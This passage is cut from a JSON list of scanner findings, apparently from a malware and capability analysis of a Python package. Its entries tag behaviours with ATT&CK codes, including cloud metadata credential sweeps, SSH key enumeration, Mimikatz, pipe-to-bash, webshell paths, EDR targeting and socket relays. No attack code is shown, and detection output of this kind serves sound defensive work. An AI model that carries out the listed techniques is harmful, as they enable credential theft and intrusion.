"micro-behaviors/ui/window/event::browser-intersection-observer", "conf": 0.82, "crit": 3, "desc": "Observes DOM element visibility" }, { "id": "objectives/impact/ransom/encrypt/filesystem::python-variable-extension-check", "atk": "T1486", "mbc": "B0040", "conf": 0.82, "crit": 3, "desc": "Python file/path extension check", "from": [ { "file": 9 } ] }, { "id": "metadata/file/string/application-name::firefox-browser-name-literal", "conf": 0.4, "crit": 1, "desc": "String literal names the Firefox browser", "from": [ { "file": 42 } ] }, { "id": "objectives/exfiltration/side-channel/web-assets::web-asset-filename", "atk": "T1041", "conf": 0.8, "crit": 3, "desc": "Common web asset filename", "from": [ { "file": 45 } ] }, { "id": "micro-behaviors/data/db/config::db-key-password", "conf": 0.85, "crit": 1, "desc": "Connection password key", "from": [ { "file": 70 } ] }, { "id": "objectives/command-and-control/dropper/python-script::python-resource-integrity-field", "atk": "T1105", "mbc": "B0024", "conf": 0.9, "crit": 3, "desc": "Reads resource integrity field", "from": [ { "file": 147 } ] }, { "id": "metadata/package/scripts/entrypoint::entry-points-file", "conf": 0.95, "crit": 3, "desc": "Python package contains an entry_points.txt file", "from": [ { "file": 219 } ] }, { "id": "micro-behaviors/ui/graphics/draw::animation-frame-callback", "conf": 0.78, "crit": 3, "desc": "Schedules an animation-frame callback" }, { "id": "micro-behaviors/fs/chmod/modify::chmod-command", "atk": "T1222", "mbc": "E1222", "conf": 0.6, "crit": 3, "desc": "chmod shell command" }, { "id": "micro-behaviors/data/runtime/keywords::pipe-to-bash", "conf": 0.88, "crit": 1, "desc": "Pipe to bash interpreter token", "from": [ { "file": 124 } ] }, { "id": "objectives/credential-access/env/secrets/bulk-access::aws-credential-env-name", "atk": "T1552.001", "mbc": "B0028", "conf": 0.9, "crit": 3, "desc": "AWS credential environment name", "from": [ { "file": 7 } ] }, { "id": "micro-behaviors/communications/http/client/library::urllib-request-client-import", "conf": 0.82, "crit": 3, "desc": "Imports Python urllib.request through direct or from-import syntax", "from": [ { "file": 7 } ], "uses": [ 249 ] }, { "id": "well-known/tool/detection/redaction::python-secret-patterns-list", "conf": 0.9, "crit": 3, "desc": "Python secret regex pattern list", "from": [ { "file": 7 } ] }, { "id": "micro-behaviors/crypto/hash/hmac::hmac-compare-digest", "conf": 0.85, "crit": 3, "desc": "Uses hmac.compare_digest for secure comparison", "from": [ { "file": 104 } ] }, { "id": "metadata/package/testing/presence/harness::tests-path-filename", "conf": 0.85, "crit": 2, "desc": "File path or name indicates test code", "from": [ { "file": 158 } ] }, { "id": "metadata/lang/javascript-features::const-let", "conf": 0.9, "crit": 2, "desc": "ES6 const/let declarations" }, { "id": "micro-behaviors/communications/dns/label::python-dynamic-dns-label", "atk": "T1071.004", "conf": 0.9, "crit": 3, "desc": "Python dotted label near a DNS resolution API", "from": [ { "file": 43 } ], "uses": [ 564, 878 ] }, { "id": "micro-behaviors/data/serialize/schema-object::user-field-key", "conf": 0.9, "crit": 3, "desc": "JSON-like user identity field", "from": [ { "file": 45 } ] }, { "id": "micro-behaviors/communications/http/download/curl::curl-cmd", "atk": "T1105", "conf": 0.7, "crit": 2, "desc": "curl command includes URL or option", "from": [ { "file": 45 } ] }, { "id": "micro-behaviors/communications/http/curl::curl-command-remote-url", "conf": 0.85, "crit": 3, "desc": "curl command names a routable remote URL", "from": [ { "file": 45 } ] }, { "id": "objectives/anti-analysis/geofencing/target-gating::fqdn-substring-gate--rx-2", "atk": "T1480", "mbc": "B0003", "conf": 0.93, "crit": 3, "desc": "Corporate hostname word shard computer", "from": [ { "file": 3 } ] }, { "id": "micro-behaviors/communications/socket/receive::socket-recv-call", "atk": "T1071", "mbc": "C0001", "conf": 0.7, "crit": 3, "desc": "socket.recv() call", "from": [ { "file": 25 } ] }, { "id": "third_party/SigBase/Certutil/Decode/OR/Download", "conf": 0.9, "crit": 5, "desc": "Certutil Decode" }, { "id": "micro-behaviors/process/info/current::python-sys-executable-text", "conf": 0.75, "crit": 3, "desc": "Python sys.executable reference text", "from": [ { "file": 15 } ] }, { "id": "metadata/file/string/cloud::aws-metadata-endpoint", "conf": 0.85, "crit": 3, "desc": "AWS EC2 metadata endpoint", "from": [ { "file": 45 } ] }, { "id": "micro-behaviors/communications/http/server/framework::http-server-module", "atk": "T1071.001", "mbc": "C0002", "conf": 0.7, "crit": 3, "desc": "http.server module", "from": [ { "file": 59 } ] }, { "id": "well-known/tool/offensive/mimikatz::mimikatz", "atk": "T1003.001", "mbc": "E1003", "conf": 0.99, "crit": 4, "desc": "Mimikatz credential extraction tool", "from": [ { "file": 12 }, { "file": 132 } ], "uses": [ 705 ] }, { "id": "micro-behaviors/fs/path/token::aws-credentials-text-reference", "atk": "T1552.005", "conf": 0.92, "crit": 3, "desc": "References an AWS credentials file path", "from": [ { "file": 91 } ] }, { "id": "micro-behaviors/time/sleep/interval::python-sleep-1s-plus", "conf": 0.75, "crit": 1, "desc": "Python one-second-plus sleep", "from": [ { "file": 32 } ], "uses": [ 595, 1293 ] }, { "id": "micro-behaviors/communications/http/oauth::oauth-keyword-reference", "conf": 0.5, "crit": 3, "desc": "References an OAuth endpoint marker", "from": [ { "file": 116 } ] }, { "id": "micro-behaviors/process/lifecycle/auto-exec::asyncio-run-call", "conf": 0.85, "crit": 3, "desc": "Python asyncio.run call", "from": [ { "file": 10 } ] }, { "id": "micro-behaviors/os/env/secret-name::keyword-cred", "conf": 0.7, "crit": 3, "desc": "CRED environment access pattern", "from": [ { "file": 129 } ] }, { "id": "micro-behaviors/communications/ip/parse::ip-to-long-conversion--rx-3", "conf": 0.9, "crit": 1, "desc": "Regex component marker", "from": [ { "file": 47 } ] }, { "id": "micro-behaviors/os/service/config::systemd-etc-directory-path", "conf": 0.9, "crit": 3, "desc": "System-wide /etc/systemd directory", "from": [ { "file": 53 } ] }, { "id": "micro-behaviors/data/llm/codegen::llm-generation-source-generate", "conf": 0.88, "crit": 3, "desc": "Generates source code or script", "from": [ { "file": 33 } ] }, { "id": "objectives/evasion/security-bypass/llm/prompt::llm-signature-variable-field-source", "atk": "T1005,T1041,T1562", "conf": 0.94, "crit": 3, "desc": "Assigns variable to signature field", "from": [ { "file": 12 } ] }, { "id": "objectives/credential-access/cloud/token/metadata::multi-cloud-metadata-credential-sweep", "atk": "T1552.005,T1580", "mbc": "E1552", "conf": 0.96, "crit": 5, "desc": "Probes several clouds for instance credentials", "from": [ { "file": 45 } ], "uses": [ 145, 281, 1154, 1257, 1282 ] }, { "id": "micro-behaviors/communications/socket/ssl::python-ssl-default-context", "conf": 0.85, "crit": 3, "desc": "Python creates a default TLS context", "from": [ { "file": 10 } ] }, { "id": "micro-behaviors/communications/ipc/agent-hook::agent-hook-stdin-read", "conf": 0.9, "crit": 3, "desc": "Reads a JSON event payload from stdin", "from": [ { "file": 152 } ] }, { "id": "micro-behaviors/os/module/search-path::sys-path-mutate", "conf": 0.86, "crit": 3, "desc": "Modifies module search path (sys.path)", "from": [ { "file": 15 } ] }, { "id": "micro-behaviors/communications/http/client/library::anthropic-messages-create", "conf": 0.95, "crit": 3, "desc": "Sends an Anthropic Messages API request", "from": [ { "file": 19 } ] }, { "id": "micro-behaviors/os/telemetry/logging/llm::urllib-request-telemetry-post", "conf": 0.88, "crit": 3, "desc": "Urllib telemetry POST request", "from": [ { "file": 113 } ] }, { "id": "objectives/command-and-control/infrastructure/tracking::domain-field", "conf": 0.7, "crit": 3, "desc": "Domain tracking field", "from": [ { "file": 21 } ] }, { "id": "metadata/file/catalog/service::service-name-stripe", "conf": 0.82, "crit": 3, "desc": "Stripe service name", "from": [ { "file": 18 } ] }, { "id": "objectives/supply-chain/recon-exfil/pipeline::gha-interesting-secret-keywords--rx-3", "atk": "T1195.002, T1552.001", "conf": 0.9, "crit": 3, "desc": "AWS or private-key credential variable name", "from": [ { "file": 122 } ] }, { "id": "micro-behaviors/process/create/subprocess::subprocess-run-sys-executable", "atk": "T1059.006", "mbc": "C0017", "conf": 0.92, "crit": 3, "desc": "subprocess.run relaunches Python interpreter", "from": [ { "file": 15 } ] }, { "id": "micro-behaviors/communications/http/url/build::python-url-literal-concatenation", "mbc": "C0002", "conf": 0.85, "crit": 3, "desc": "URL literal extended by concatenation", "from": [ { "file": 45 } ] }, { "id": "micro-behaviors/communications/http/client/library::openai-chat-completions-call", "conf": 0.92, "crit": 3, "desc": "Python OpenAI chat completion call", "from": [ { "file": 19 } ] }, { "id": "micro-behaviors/fs/path/token::cloud-credentials", "atk": "T1552.005", "conf": 0.95, "crit": 3, "desc": "Cloud provider credential file paths", "from": [ { "off": 28983, "file": 91, "line": 734 }, { "off": 837, "file": 133, "line": 26 }, { "off": 1017, "file": 141, "line": 30 } ], "uses": [ 144 ] }, { "id": "micro-behaviors/communications/proxy/relay::relay-target-connect-method", "atk": "T1090,T1572", "conf": 0.86, "crit": 3, "desc": "Client API create_connection call", "from": [ { "file": 12 } ] }, { "id": "micro-behaviors/communications/http/client/library::aiohttp-import", "conf": 0.9, "crit": 3, "desc": "Imports the aiohttp Python HTTP client", "from": [ { "file": 10 } ] }, { "id": "micro-behaviors/fs/path/config/accounts::etc-passwd-cat", "atk": "T1033", "conf": 0.8, "crit": 3, "desc": "/etc/passwd read via cat command", "from": [ { "file": 45 } ] }, { "id": "micro-behaviors/communications/http/lib/urllib::urlopen-multiple-calls", "conf": 0.9, "crit": 3, "desc": "Multiple urllib URL-open calls in Python file", "from": [ { "file": 7 } ] }, { "id": "objectives/exfiltration/dns/prep::python-url-variable-subdomain", "conf": 0.9, "crit": 3, "desc": "Python URL with a variable DNS label", "from": [ { "file": 196 } ] }, { "id": "objectives/supply-chain/recon-exfil/install-hook::recon-env-field-names", "atk": "T1195.002", "conf": 0.96, "crit": 3, "desc": "Recon-style pwd/env/file field names", "from": [ { "file": 2 } ] }, { "id": "micro-behaviors/communications/http/authorization-header::basic-auth-credential-literal", "atk": "T1071.001", "mbc": "C0002", "conf": 0.86, "crit": 3, "desc": "Basic auth credential literal", "from": [ { "file": 116 } ] }, { "id": "micro-behaviors/os/autorun/cron::crontab-string", "conf": 0.95, "crit": 3, "desc": "Crontab list or input command", "from": [ { "file": 129 } ] }, { "id": "well-known/lib/development/python-tooling::cpython-marshal-loads-reference", "conf": 0.96, "crit": 3, "desc": "References CPython marshal.loads", "from": [ { "file": 14 } ] }, { "id": "micro-behaviors/communications/http/request/client::http-config-method", "conf": 0.3, "crit": 2, "desc": "HTTP configuration field (method)", "from": [ { "file": 42 } ] }, { "id": "micro-behaviors/fs/path/secret-config::npmrc-credentials", "atk": "T1552.001", "conf": 0.95, "crit": 3, "desc": "NPM registry credentials file path literal", "from": [ { "file": 91 } ] }, { "id": "micro-behaviors/fs/path/location::top-level-root-path", "conf": 0.96, "crit": 3, "desc": "References top-level /root path", "from": [ { "file": 2 } ] }, { "id": "objectives/command-and-control/channel/deaddrop/blockchain::evm-result-task-url-parser", "atk": "T1102,T1059", "conf": 0.94, "crit": 3, "desc": "Splits task or command identifier", "from": [ { "file": 101 } ] }, { "id": "micro-behaviors/data/db/cassandra::datastax", "conf": 0.9, "crit": 3, "desc": "datastax driver", "from": [ { "file": 6 } ] }, { "id": "objectives/discovery/network/scan/distributed::exploit-task-queue-name", "atk": "T1046,T1090", "conf": 0.9, "crit": 3, "desc": "Queue name declares exploitation work", "from": [ { "file": 4 } ] }, { "id": "micro-behaviors/communications/socket/connect::socket-create-connection-call", "atk": "T1071", "mbc": "C0001", "conf": 0.85, "crit": 3, "desc": "Python socket create_connection call", "from": [ { "file": 12 } ] }, { "id": "micro-behaviors/fs/proc/info/path::process-self-status", "conf": 0.74, "crit": 3, "desc": "References own process status procfs path", "from": [ { "file": 36 } ] }, { "id": "objectives/discovery/host/geo::geo-response-field", "atk": "T1016", "conf": 0.5, "crit": 3, "desc": "Geolocation response field markers", "from": [ { "file": 12 }, { "off": 6251, "file": 47, "line": 180 }, { "off": 35358, "file": 93, "line": 812 }, { "file": 117 } ], "uses": [ 274, 577, 975, 1122 ] }, { "id": "metadata/file/string/cloud::gcp-service-accounts-metadata-path", "conf": 0.9, "crit": 3, "desc": "GCP service accounts metadata path", "from": [ { "file": 45 } ] }, { "id": "micro-behaviors/fs/path/temp::tmp-jar-path", "conf": 0.7, "crit": 3, "desc": "Temporary directory path ending in .jar", "from": [ { "file": 45 } ] }, { "id": "micro-behaviors/communications/http/user-agent::application-user-agent", "conf": 0.86, "crit": 3, "desc": "Application-specific User-Agent header", "from": [ { "file": 9 } ] }, { "id": "micro-behaviors/os/sysinfo/platform/runtime::os-uname-call", "atk": "T1082", "mbc": "E1082", "conf": 0.8, "crit": 3, "desc": "Queries system info with os.uname()", "from": [ { "file": 36 } ] }, { "id": "micro-behaviors/communications/http/url/php-endpoint::url-php-endpoint-script", "atk": "T1071.001", "mbc": "C0002", "conf": 0.8, "crit": 3, "desc": "URL targets .php endpoint", "from": [ { "file": 45 } ] }, { "id": "micro-behaviors/communications/ip/construct::scapy-tcp-syn", "conf": 0.95, "crit": 3, "desc": "Scapy TCP SYN packet", "from": [ { "file": 75 } ] }, { "id": "micro-behaviors/crypto/library/blockchain/exchange::crypto-exchange-api-client-context", "conf": 0.9, "crit": 2, "desc": "Crypto exchange API client", "from": [ { "file": 12 } ], "uses": [ 804 ] }, { "id": "objectives/discovery/system/profile::runtime-python-version-field", "atk": "T1082", "conf": 0.9, "crit": 3, "desc": "Runtime profile Python version field", "from": [ { "file": 17 } ] }, { "id": "micro-behaviors/fs/path/personal::bash-history-artifact", "conf": 0.9, "crit": 3, "desc": "Bash history artifact path", "from": [ { "file": 53 } ] }, { "id": "objectives/anti-static/obfuscation/payload/encrypted::aes-key-field-token", "atk": "T1573.001,T1027", "mbc": "C0027", "conf": 0.8, "crit": 3, "desc": "AES or generic key field name" }, { "id": "micro-behaviors/process/create/subprocess::process-execution", "atk": "T1059.006", "conf": 0.8, "crit": 3, "desc": "Python launches a child process", "from": [ { "file": 15 } ], "uses": [ 11, 13, 49, 79, 125, 255, 329, 1046 ] }, { "id": "micro-behaviors/data/serialize/schema-object::agent-tool-call-structure", "conf": 0.92, "crit": 3, "desc": "JSON tool-call record with metadata", "from": [ { "off": 131968, "file": 61, "line": 3033 } ], "uses": [ 1056, 1086 ] }, { "id": "objectives/persistence/system/surface/paths::managed-persistence-marker--rx-5", "atk": "T1547", "conf": 0.84, "crit": 3, "desc": "Managed or installed service/cron phrase", "from": [ { "file": 12 } ] }, { "id": "objectives/credential-access/files/config::login-secret-file-paths--rx-7", "atk": "T1552.001", "mbc": "B0029", "conf": 0.9, "crit": 3, "desc": "Shell history file path literal", "from": [ { "file": 53 } ] }, { "id": "micro-behaviors/communications/http/llm::ollama-model-api-path", "atk": "T1071.001", "mbc": "C0002", "conf": 0.9, "crit": 3, "desc": "Ollama model inventory or management API path", "from": [ { "file": 7 } ] }, { "id": "micro-behaviors/os/sysinfo/platform/string::os-string-windows", "conf": 0.4, "crit": 2, "desc": "Windows platform string", "from": [ { "file": 2 } ] }, { "id": "micro-behaviors/communications/ssh/connect::connect-comp", "atk": "T1021.004", "conf": 0.66, "crit": 3, "desc": "SSH connection", "from": [ { "file": 60 } ], "uses": [ 597, 1002, 1062 ] }, { "id": "objectives/impact/crypto-manipulation/weakening::commitment-before-generator", "atk": "T1565.001", "conf": 0.94, "crit": 3, "desc": "Orders commitment before generator", "from": [ { "file": 124 } ] }, { "id": "micro-behaviors/os/pam/auth::pam-d-path", "conf": 0.6, "crit": 3, "desc": "/etc/pam.d/ directory path", "from": [ { "file": 125 } ] }, { "id": "micro-behaviors/fs/path/temp::windows-public-temp-directory-path", "conf": 0.82, "crit": 3, "desc": "Windows public or temp directory path", "from": [ { "file": 129 } ] }, { "id": "objectives/command-and-control/remote-command/llm/action::llm-send-action--rx-6", "conf": 0.84, "crit": 3, "desc": "\"password\" string-literal token", "from": [ { "file": 128 } ] }, { "id": "micro-behaviors/communications/http/websocket::ping-pong-pair", "atk": "T1071.001", "mbc": "C0002", "conf": 0.8, "crit": 3, "desc": "PING/PONG protocol marker", "from": [ { "file": 121 } ] }, { "id": "well-known/tool/detection/ai-guardrail::threat-scan-function", "conf": 0.9, "crit": 3, "desc": "Threat-scanning func", "from": [ { "file": 189 } ] }, { "id": "micro-behaviors/communications/http/request/wordpress::rest-endpoint-url", "atk": "T1071.001", "mbc": "E1071", "conf": 0.95, "crit": 3, "desc": "References a WordPress REST API endpoint URL", "from": [ { "file": 91 } ] }, { "id": "micro-behaviors/communications/http/services/aws::python-secrets-manager-reference", "conf": 0.95, "crit": 3, "desc": "Python references AWS Secrets Manager", "from": [ { "file": 2 } ] }, { "id": "metadata/file/catalog/service::service-name-vault", "conf": 0.82, "crit": 3, "desc": "Vault service name", "from": [ { "file": 2 } ] }, { "id": "micro-behaviors/data/archive/zip::python-zipfile-writer", "conf": 0.9, "crit": 3, "desc": "Python writes files into a ZIP archive", "from": [ { "file": 106 } ] }, { "id": "micro-behaviors/data/control-flow/analysis::while-loop", "conf": 0.3, "crit": 2, "desc": "While-loop control flow", "from": [ { "file": 9 } ] }, { "id": "micro-behaviors/communications/email/send/smtp::python-send-message-call", "conf": 0.9, "crit": 3, "desc": "Calls a Python object's send_message method", "from": [ { "file": 111 } ] }, { "id": "micro-behaviors/communications/http/request/credentials::python-post-method-keyword", "atk": "T1071.001", "mbc": "C0002", "conf": 0.9, "crit": 3, "desc": "Sets Python request method to POST", "from": [ { "file": 9 } ] }, { "id": "micro-behaviors/data/llm/wire-marker::role-line-marker", "conf": 0.72, "crit": 1, "desc": "Quoted LLM role label", "from": [ { "file": 78 } ] }, { "id": "micro-behaviors/crypto/hash/file::pinned-artifact-digest-constant", "conf": 0.9, "crit": 3, "desc": "Pins an expected SHA-256 digest constant", "from": [ { "file": 161 } ] }, { "id": "micro-behaviors/communications/http/lib/requests::requests-get", "conf": 0.85, "crit": 3, "desc": "Calls requests.get in Python" }, { "id": "micro-behaviors/communications/http/user-agent::android-user-agent-branch-text", "conf": 0.9, "crit": 3, "desc": "Tests Android User-Agent outside JavaScript", "from": [ { "file": 42 } ] }, { "id": "well-known/tool/detection/llm-scanner::prompt-injection-defender-doc", "conf": 0.9, "crit": 3, "desc": "Defender-shape prompt-injection phrasing", "from": [ { "file": 71 } ] }, { "id": "objectives/credential-access/cloud/aws-token::aws-shared-secret-key-field", "atk": "T1552.005", "conf": 0.95, "crit": 3, "desc": "AWS shared credentials secret key field", "from": [ { "file": 7 } ] }, { "id": "well-known/tool/detection/keywords::edr-keyword", "conf": 0.7, "crit": 3, "desc": "EDR / endpoint detection keyword", "from": [ { "file": 9 } ] }, { "id": "micro-behaviors/os/container/runtime::docker-sock", "conf": 0.7, "crit": 3, "desc": "Docker socket path", "from": [ { "file": 120 } ] }, { "id": "micro-behaviors/process/create/subprocess::python-subprocess-io-fields--stdout", "atk": "T1059.006", "conf": 0.84, "crit": 3, "desc": "Process output/status field names (stdout)" }, { "id": "micro-behaviors/crypto/hash/digest::python-md5-digest", "conf": 0.9, "crit": 3, "desc": "Computes an MD5 digest in Python", "from": [ { "file": 34 } ] }, { "id": "micro-behaviors/communications/socket/receive::socket-recvfrom-call", "atk": "T1071", "mbc": "C0001", "conf": 0.7, "crit": 3, "desc": "socket.recvfrom() call", "from": [ { "file": 60 } ] }, { "id": "metadata/lang/natural::lang-japanese", "conf": 0.8, "crit": 3, "desc": "Contains Hiragana or Katakana script", "from": [ { "file": 175 } ] }, { "id": "micro-behaviors/communications/http/server/framework::builtin-http-server", "atk": "T1071.001", "mbc": "C0002", "conf": 1.0, "crit": 2, "desc": "Built-in Python HTTP server modules", "from": [ { "file": 59 }, { "off": 1635, "file": 89, "line": 41 }, { "off": 587, "file": 104, "line": 23 } ], "uses": [ 391, 815 ] }, { "id": "micro-behaviors/communications/http/form::viewstate-field", "conf": 0.85, "crit": 3, "desc": "ASP.NET __VIEWSTATE form field", "from": [ { "file": 126 } ] }, { "id": "micro-behaviors/communications/http/url/telemetry::history-clear-endpoint", "atk": "T1071.001", "conf": 0.75, "crit": 3, "desc": "/history REST endpoint path", "from": [ { "file": 89 } ] }, { "id": "metadata/lang/natural::lang-english--atom-4", "conf": 0.8, "crit": 1, "desc": "English function-word token \"have\"", "from": [ { "file": 5 } ] }, { "id": "metadata/file/literal::cve-pattern-many", "conf": 0.85, "crit": 3, "desc": "File contains six or more CVE references", "from": [ { "file": 6 } ] }, { "id": "objectives/command-and-control/dropper/staged-loader::remote-module-method-field", "atk": "T1105,T1627.001", "mbc": "B0042", "conf": 0.94, "crit": 3, "desc": "Remote module method field", "from": [ { "file": 31 } ] }, { "id": "objectives/credential-access/theft/stealer::browser-credential-term-target", "conf": 0.9, "crit": 3, "desc": "Browser credential collection target", "from": [ { "file": 19 } ] }, { "id": "objectives/anti-analysis/debugger-detect/check::ptrace-traceme", "atk": "T1622", "mbc": "B0001.m01", "conf": 0.7, "crit": 4, "desc": "PTRACE_TRACEME constant", "from": [ { "file": 129 } ] }, { "id": "micro-behaviors/communications/http/header/retry-after::retry-after-header-name-reference", "mbc": "C0002", "conf": 0.9, "crit": 3, "desc": "References the Retry-After header name", "from": [ { "file": 53 } ] }, { "id": "micro-behaviors/communications/dns/zone-edit::dns-address-record-type-field", "conf": 0.85, "crit": 3, "desc": "DNS address-record type field", "from": [ { "file": 67 } ] }, { "id": "micro-behaviors/data/control-flow/module-exec::js-synchronous-iife-start", "conf": 0.86, "crit": 3, "desc": "Starts a synchronous function expression" }, { "id": "micro-behaviors/os/api-resolution/dynamic::python-loaded-module-exec-module", "conf": 0.92, "crit": 3, "desc": "Executes a dynamically loaded Python module", "from": [ { "file": 101 } ] }, { "id": "micro-behaviors/fs/directory/traverse::traverse-glob-call", "conf": 0.84, "crit": 3, "desc": "Calls Python glob for file enumeration", "from": [ { "file": 8 } ] }, { "id": "micro-behaviors/data/llm/codegen::llm-generation-source-write", "conf": 0.88, "crit": 3, "desc": "Writes source code or script", "from": [ { "file": 129 } ] }, { "id": "objectives/anti-static/obfuscation/multi-layer::python-medium-base64-carrier", "atk": "T1027", "mbc": "B0032", "conf": 0.9, "crit": 3, "desc": "Medium base64-like Python carrier", "from": [ { "file": 48 } ] }, { "id": "objectives/anti-analysis/environment-detect/check::analysis-hostname-query-fragment", "atk": "T1497.001", "mbc": "B0001", "conf": 0.9, "crit": 3, "desc": "Hostname query used in environment checks", "from": [ { "file": 125 } ] }, { "id": "micro-behaviors/communications/ip/endpoint::private-ipv4-port-192-source-literal", "conf": 0.84, "crit": 3, "desc": "Hardcoded 192.168 IPv4 with port", "from": [ { "file": 190 } ] }, { "id": "micro-behaviors/data/buffer::overflow-padding-buffer", "conf": 0.9, "crit": 3, "desc": "Builds a large repeated-byte padding sled", "from": [ { "file": 143 } ] }, { "id": "micro-behaviors/communications/http/oauth::oauth-authorization-server-metadata-path", "conf": 0.9, "crit": 3, "desc": "OAuth authorization-server metadata path", "from": [ { "file": 116 } ] }, { "id": "micro-behaviors/communications/dns/doh::doh-quad9-json", "atk": "T1071.004", "mbc": "C0011", "conf": 0.75, "crit": 3, "desc": "Quad9 DoH endpoint", "from": [ { "file": 43 } ] }, { "id": "objectives/execution/automation/agent::agent-target-discovery-b", "atk": "T1059,T1190,T1595", "conf": 0.88, "crit": 3, "desc": "Agent surveys public assets", "from": [ { "file": 70 } ] }, { "id": "metadata/lang/natural::lang-english--atom-7", "conf": 0.8, "crit": 1, "desc": "English function-word token \"this\"", "from": [ { "file": 3 } ] }, { "id": "objectives/credential-access/ssh/key::slash-dot-ssh", "atk": "T1552.004", "conf": 0.5, "crit": 3, "desc": "SSH config or known_hosts path reference", "from": [ { "file": 60 } ] }, { "id": "micro-behaviors/process/create/shell/target::shell-exec-script-path", "conf": 0.85, "crit": 3, "desc": "Shell runs a script by path" }, { "id": "micro-behaviors/process/interpreter/python::compile-builtin", "atk": "T1059.006", "mbc": "E1059", "conf": 0.7, "crit": 3, "desc": "Python compile() built-in function", "from": [ { "file": 186 } ] }, { "id": "micro-behaviors/communications/http/websocket::ws-scheme", "atk": "T1071.001", "mbc": "C0002", "conf": 0.6, "crit": 3, "desc": "References an unencrypted ws:// WebSocket URL", "from": [ { "file": 43 } ] }, { "id": "micro-behaviors/communications/socket/raw::raw", "atk": "T1011", "mbc": "C0001", "conf": 0.8, "crit": 3, "desc": "Create raw network sockets", "from": [ { "file": 74 }, { "file": 102 }, { "file": 136 } ], "uses": [ 609 ] }, { "id": "objectives/command-and-control/backdoor/tasking/command-http::python-http-command-path", "atk": "T1059.006", "conf": 0.9, "crit": 3, "desc": "Python command endpoint path", "from": [ { "file": 53 } ] }, { "id": "metadata/import/package::python-hashlib-import", "conf": 0.9, "crit": 3, "desc": "Python imports the hashlib library", "from": [ { "file": 4 } ] }, { "id": "micro-behaviors/fs/path/account-db::credential-config-path-corpus--etc", "atk": "T1552.001", "conf": 0.85, "crit": 3, "desc": "Etc account database path", "from": [ { "file": 45 } ] }, { "id": "metadata/file/catalog/service::service-name-discord", "conf": 0.6, "crit": 3, "desc": "Discord service name", "from": [ { "file": 7 } ] }, { "id": "objectives/evasion/quarantine-removal/bypass::python-binary-installer-quarantine-repair", "conf": 0.95, "crit": 3, "desc": "Python binary-installer utility repairs macOS quarantine metadata", "from": [ { "file": 185 } ], "uses": [ 787, 1174 ] }, { "id": "micro-behaviors/communications/proxy/relay::python-socket-bidirectional-copy", "atk": "T1090,T1572", "conf": 0.94, "crit": 3, "desc": "Python sockets receive and send stream data", "from": [ { "off": 2045, "file": 25, "line": 64 }, { "file": 43 }, { "file": 60 }, { "file": 72 }, { "file": 75 }, { "file": 102 } ], "uses": [ 509, 1107 ] }, { "id": "metadata/package/ecosystem::pkginfo-requires-python", "conf": 0.9, "crit": 3, "desc": "Declares supported Python versions", "from": [ { "file": 218 } ] }, { "id": "micro-behaviors/communications/socket/send::python-sendall", "atk": "T1071", "mbc": "C0001", "conf": 0.7, "crit": 3, "desc": "Python socket sendall() call", "from": [ { "file": 25 } ] }, { "id": "objectives/impact/degrade/edr/targeting::edr-product-name", "atk": "T1562.001", "conf": 0.8, "crit": 3, "desc": "EDR/Antivirus product name reference", "from": [ { "file": 12 }, { "file": 74 }, { "off": 12017, "file": 125, "line": 281 }, { "off": 9056, "file": 126, "line": 201 }, { "off": 5721, "file": 129, "line": 173 } ], "uses": [ 187, 287, 730, 841, 1338, 1340 ] }, { "id": "metadata/lang/natural::lang-english--atom-5", "conf": 0.8, "crit": 1, "desc": "English function-word token \"for\"", "from": [ { "file": 1 } ] }, { "id": "micro-behaviors/communications/http/url/tld::reserved-documentation-tld-url", "conf": 0.95, "crit": 3, "desc": "URL uses RFC 2606 reserved documentation TLD", "from": [ { "file": 196 } ] }, { "id": "micro-behaviors/process/interpreter/python::exec-variable", "atk": "T1059.006", "mbc": "E1059", "conf": 0.94, "crit": 3, "desc": "Python exec() executes a variable value" }, { "id": "micro-behaviors/communications/http/login::http-login-credential-form", "atk": "T1071.001", "conf": 0.88, "crit": 3, "desc": "HTTP login form carries credentials", "from": [ { "file": 116 } ], "uses": [ 757, 810, 875 ] }, { "id": "objectives/discovery/network/enumeration::passive-dns-source", "conf": 0.86, "crit": 3, "desc": "Passive-DNS source reference", "from": [ { "file": 21 } ] }, { "id": "objectives/credential-access/ssh/key::python-ssh-directory-enumeration", "atk": "T1083,T1552.004", "conf": 0.95, "crit": 4, "desc": "Python enumerates a user's SSH directory", "from": [ { "off": 51465, "file": 125, "line": 1114 } ], "uses": [ 147 ] }, { "id": "well-known/tool/detection/wpsecscan::finding-model", "conf": 0.96, "crit": 3, "desc": "WPSecScan Finding model usage", "from": [ { "file": 163 } ] }, { "id": "micro-behaviors/communications/http/request/tasking::http-task-sequence-field", "atk": "T1071.001", "mbc": "C0002", "conf": 0.9, "crit": 3, "desc": "Structured object contains a task sequence field", "from": [ { "file": 88 } ] }, { "id": "objectives/execution/lure/shell::user-run-cue-action", "atk": "T1204", "conf": 0.84, "crit": 3, "desc": "Direct cue to run supplied command", "from": [ { "file": 71 } ] }, { "id": "micro-behaviors/communications/http/services/google::google-api-host-reference", "mbc": "C0002", "conf": 0.95, "crit": 3, "desc": "References a Google API host", "from": [ { "file": 79 } ] }, { "id": "micro-behaviors/fs/path/location::python-dot-prefixed-joined-path", "conf": 0.9, "crit": 3, "desc": "Python joins dot-prefixed path", "from": [ { "file": 71 } ] }, { "id": "objectives/lateral-movement/exploit/scanner::shell-endpoint", "atk": "T1210", "conf": 0.6, "crit": 3, "desc": "Webshell path (shell.php/jsp) in URL", "from": [ { "file": 45 } ] }, { "id": "objectives/privilege-escalation/exploit/vulnerabilities::cve-2022-0847", "atk": "T1068", "conf": 0.95, "crit": 3, "desc": "DirtyPipe CVE reference", "from": [ { "file": 129 } ] }, { "id": "well-known/lib/network/wireguard::wgquick-privatekey-directive", "conf": 0.85, "crit": 3, "desc": "wg-quick PrivateKey directive keyword", "from": [ { "file": 41 } ] }, { "id": "metadata/package/testing/scripted::pytest-markers", "conf": 0.8, "crit": 2, "desc": "pytest-specific markers", "from": [ { "off": 205, "file": 164, "line": 7 }, { "off": 125, "file": 186, "line": 4 }, { "off": 5757, "file": 191, "line": 191 }, { "off": 268, "file": 196, "line": 8 } ], "uses": [ 534, 646, 1081 ] }, { "id": "micro-behaviors/fs/path/application/prefix::container-app-root-path", "conf": 0.9, "crit": 3, "desc": "Absolute container application root path", "from": [ { "file": 91 } ] }, { "id": "micro-behaviors/fs/delete/directory::shell-recursive-delete", "conf": 0.9, "crit": 3, "desc": "Shell recursively removes a path" }, { "id": "micro-behaviors/process/create/thread::python-thread-create", "conf": 0.65, "crit": 3, "desc": "Creates a thread in Python", "from": [ { "file": 25 } ] }, { "id": 